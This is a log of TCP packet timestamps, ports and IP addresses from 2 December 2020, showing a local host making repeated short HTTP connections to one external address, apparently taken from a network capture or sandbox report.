Dec 2, 2020 11:53:51.980148077 CET	80	49894	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.001681089 CET	80	49894	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.001729012 CET	80	49894	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.001888990 CET	49894	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.002022982 CET	49894	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.053921938 CET	80	49894	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.200977087 CET	49895	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.253206968 CET	80	49895	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.253387928 CET	49895	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.299953938 CET	49895	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.352216005 CET	80	49895	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.352369070 CET	49895	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.404601097 CET	80	49895	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.427256107 CET	80	49895	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.427309036 CET	80	49895	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.427481890 CET	49895	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.427603006 CET	49895	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.481483936 CET	80	49895	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.614089966 CET	49896	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.666011095 CET	80	49896	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.666117907 CET	49896	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.669431925 CET	49896	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.721491098 CET	80	49896	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.721806049 CET	49896	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.773655891 CET	80	49896	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.793745995 CET	80	49896	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.793803930 CET	80	49896	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:52.793900967 CET	49896	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.793961048 CET	49896	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:52.845845938 CET	80	49896	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.035202980 CET	49898	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.088231087 CET	80	49898	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.089063883 CET	49898	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.093415022 CET	49898	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.146184921 CET	80	49898	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.146281958 CET	49898	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.203619003 CET	80	49898	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.221690893 CET	80	49898	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.221720934 CET	80	49898	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.221806049 CET	49898	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.221918106 CET	49898	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.274401903 CET	80	49898	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.419603109 CET	49899	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.476861954 CET	80	49899	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.477014065 CET	49899	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.485192060 CET	49899	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.537400961 CET	80	49899	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.537513018 CET	49899	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.589406013 CET	80	49899	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.608858109 CET	80	49899	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.608905077 CET	80	49899	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.609003067 CET	49899	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.609088898 CET	49899	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.660742998 CET	80	49899	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.839678049 CET	49900	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.892520905 CET	80	49900	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.896189928 CET	49900	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.899708033 CET	49900	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:53.952399969 CET	80	49900	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:53.952516079 CET	49900	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.005372047 CET	80	49900	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.026077032 CET	80	49900	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.026103973 CET	80	49900	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.026228905 CET	49900	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.026350021 CET	49900	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.079098940 CET	80	49900	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.237581968 CET	49902	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.289537907 CET	80	49902	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.289715052 CET	49902	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.292505026 CET	49902	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.353487968 CET	80	49902	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.353563070 CET	49902	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.405519009 CET	80	49902	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.429546118 CET	80	49902	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.429599047 CET	80	49902	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.429709911 CET	49902	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.429795980 CET	49902	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.482976913 CET	80	49902	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.659071922 CET	49903	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.714225054 CET	80	49903	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.714371920 CET	49903	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.722059965 CET	49903	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.774771929 CET	80	49903	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.774919033 CET	49903	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.827564001 CET	80	49903	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.853921890 CET	80	49903	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.853962898 CET	80	49903	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:54.854068041 CET	49903	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.854115963 CET	49903	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:54.909718990 CET	80	49903	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.078721046 CET	49904	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.132062912 CET	80	49904	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.132337093 CET	49904	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.140343904 CET	49904	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.192421913 CET	80	49904	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.192606926 CET	49904	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.244770050 CET	80	49904	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.270211935 CET	80	49904	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.270246029 CET	80	49904	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.270453930 CET	49904	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.270529985 CET	49904	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.322619915 CET	80	49904	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.461230040 CET	49905	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.516282082 CET	80	49905	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.516473055 CET	49905	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.522610903 CET	49905	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.577491999 CET	80	49905	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.577641964 CET	49905	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.629848003 CET	80	49905	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.652744055 CET	80	49905	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.652793884 CET	80	49905	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.652930021 CET	49905	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.652975082 CET	49905	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.705823898 CET	80	49905	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.878803015 CET	49906	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.933028936 CET	80	49906	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.933144093 CET	49906	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.936892986 CET	49906	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:55.989126921 CET	80	49906	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:55.989226103 CET	49906	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.041301966 CET	80	49906	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.061289072 CET	80	49906	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.061336994 CET	80	49906	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.061515093 CET	49906	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.061594963 CET	49906	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.114022017 CET	80	49906	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.278841019 CET	49907	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.331147909 CET	80	49907	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.331319094 CET	49907	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.339313030 CET	49907	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.391474962 CET	80	49907	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.391856909 CET	49907	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.443921089 CET	80	49907	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.464035988 CET	80	49907	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.464090109 CET	80	49907	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.464288950 CET	49907	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.464327097 CET	49907	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.516432047 CET	80	49907	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.676681995 CET	49908	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.729322910 CET	80	49908	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.729590893 CET	49908	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.737421036 CET	49908	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.789863110 CET	80	49908	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.790050983 CET	49908	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.842457056 CET	80	49908	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.865797043 CET	80	49908	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.865840912 CET	80	49908	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:56.865983963 CET	49908	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.866134882 CET	49908	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:56.918432951 CET	80	49908	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.065783024 CET	49909	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.118191957 CET	80	49909	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.118424892 CET	49909	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.123188019 CET	49909	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.174937010 CET	80	49909	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.175045967 CET	49909	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.233601093 CET	80	49909	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.270092964 CET	80	49909	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.270200014 CET	80	49909	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.270292044 CET	49909	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.270375967 CET	49909	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.323240042 CET	80	49909	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.460324049 CET	49910	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.512840033 CET	80	49910	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.513051987 CET	49910	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.538551092 CET	49910	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.592236042 CET	80	49910	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.592422962 CET	49910	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.644962072 CET	80	49910	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.668447018 CET	80	49910	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.668493032 CET	80	49910	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.668622017 CET	49910	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.668788910 CET	49910	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.721627951 CET	80	49910	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.915693045 CET	49911	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.967835903 CET	80	49911	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:57.967994928 CET	49911	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:57.975991011 CET	49911	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.027992010 CET	80	49911	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.028104067 CET	49911	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.080158949 CET	80	49911	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.112591982 CET	80	49911	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.112637043 CET	80	49911	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.112879038 CET	49911	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.112910032 CET	49911	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.166544914 CET	80	49911	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.300642014 CET	49912	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.353506088 CET	80	49912	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.353641033 CET	49912	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.357650042 CET	49912	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.410451889 CET	80	49912	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.410573959 CET	49912	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.463702917 CET	80	49912	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.484031916 CET	80	49912	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.484076977 CET	80	49912	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.484255075 CET	49912	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.484299898 CET	49912	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.537326097 CET	80	49912	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.686249018 CET	49913	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.738763094 CET	80	49913	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.740519047 CET	49913	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.743469954 CET	49913	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.796668053 CET	80	49913	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.796829939 CET	49913	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.849829912 CET	80	49913	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.873219013 CET	80	49913	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.873261929 CET	80	49913	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:58.873493910 CET	49913	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.873589039 CET	49913	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:58.925843954 CET	80	49913	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.109025955 CET	49914	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.161501884 CET	80	49914	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.161663055 CET	49914	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.169840097 CET	49914	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.226037025 CET	80	49914	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.226135969 CET	49914	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.283324957 CET	80	49914	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.308444023 CET	80	49914	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.308681965 CET	49914	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.309124947 CET	80	49914	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.309323072 CET	49914	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.361237049 CET	80	49914	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.538146973 CET	49915	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.590203047 CET	80	49915	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.590387106 CET	49915	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.598388910 CET	49915	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.652204990 CET	80	49915	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.652334929 CET	49915	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.704315901 CET	80	49915	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.725656033 CET	80	49915	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.725718021 CET	80	49915	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.725790024 CET	49915	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.725827932 CET	49915	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.777947903 CET	80	49915	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.943234921 CET	49916	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:59.995922089 CET	80	49916	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:59.996124983 CET	49916	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.003773928 CET	49916	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.056993008 CET	80	49916	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.057231903 CET	49916	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.109816074 CET	80	49916	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.132744074 CET	80	49916	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.132788897 CET	80	49916	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.133021116 CET	49916	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.133083105 CET	49916	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.185823917 CET	80	49916	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.336672068 CET	49917	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.389077902 CET	80	49917	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.389225006 CET	49917	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.415813923 CET	49917	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.471774101 CET	80	49917	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.471972942 CET	49917	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.524545908 CET	80	49917	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.545377016 CET	80	49917	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.545455933 CET	80	49917	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.545605898 CET	49917	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.545747042 CET	49917	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.598119020 CET	80	49917	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.743469954 CET	49918	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.796895981 CET	80	49918	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.797055006 CET	49918	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.838684082 CET	49918	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.891139984 CET	80	49918	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.891263962 CET	49918	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.943741083 CET	80	49918	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.965354919 CET	80	49918	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.965436935 CET	80	49918	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:00.965557098 CET	49918	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:00.965631962 CET	49918	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.018170118 CET	80	49918	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.164114952 CET	49919	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.216789961 CET	80	49919	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.216933012 CET	49919	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.222614050 CET	49919	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.275428057 CET	80	49919	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.275552988 CET	49919	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.328247070 CET	80	49919	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.355035067 CET	80	49919	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.355071068 CET	80	49919	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.355158091 CET	49919	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.355201960 CET	49919	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.407859087 CET	80	49919	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.538387060 CET	49920	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.591151953 CET	80	49920	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.591259956 CET	49920	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.607789993 CET	49920	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.660598993 CET	80	49920	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.660707951 CET	49920	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.715161085 CET	80	49920	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.748774052 CET	80	49920	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.748821974 CET	80	49920	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.749432087 CET	49920	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.749495983 CET	49920	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:01.802980900 CET	80	49920	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:01.985008955 CET	49921	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.037930012 CET	80	49921	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.038108110 CET	49921	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.042783022 CET	49921	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.099414110 CET	80	49921	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.099517107 CET	49921	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.152169943 CET	80	49921	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.174634933 CET	80	49921	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.174673080 CET	80	49921	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.174844980 CET	49921	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.174947023 CET	49921	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.230545044 CET	80	49921	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.426830053 CET	49922	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.479443073 CET	80	49922	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.484067917 CET	49922	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.488890886 CET	49922	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.541663885 CET	80	49922	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.541819096 CET	49922	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.594343901 CET	80	49922	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.615942001 CET	80	49922	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.615979910 CET	80	49922	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.616091013 CET	49922	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.616178036 CET	49922	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.668864012 CET	80	49922	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.812009096 CET	49923	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.864881992 CET	80	49923	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:02.865053892 CET	49923	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:02.873127937 CET	49923	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.024249077 CET	80	49923	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.024460077 CET	49923	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.077171087 CET	80	49923	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.102365971 CET	80	49923	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.102411032 CET	80	49923	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.102602005 CET	49923	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.102680922 CET	49923	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.155143023 CET	80	49923	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.348254919 CET	49924	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.400891066 CET	80	49924	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.401071072 CET	49924	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.408857107 CET	49924	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.460161924 CET	80	49924	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.460256100 CET	49924	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.511502981 CET	80	49924	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.534225941 CET	80	49924	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.534266949 CET	80	49924	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.534456015 CET	49924	80	192.168.2.6	45.144.3.234
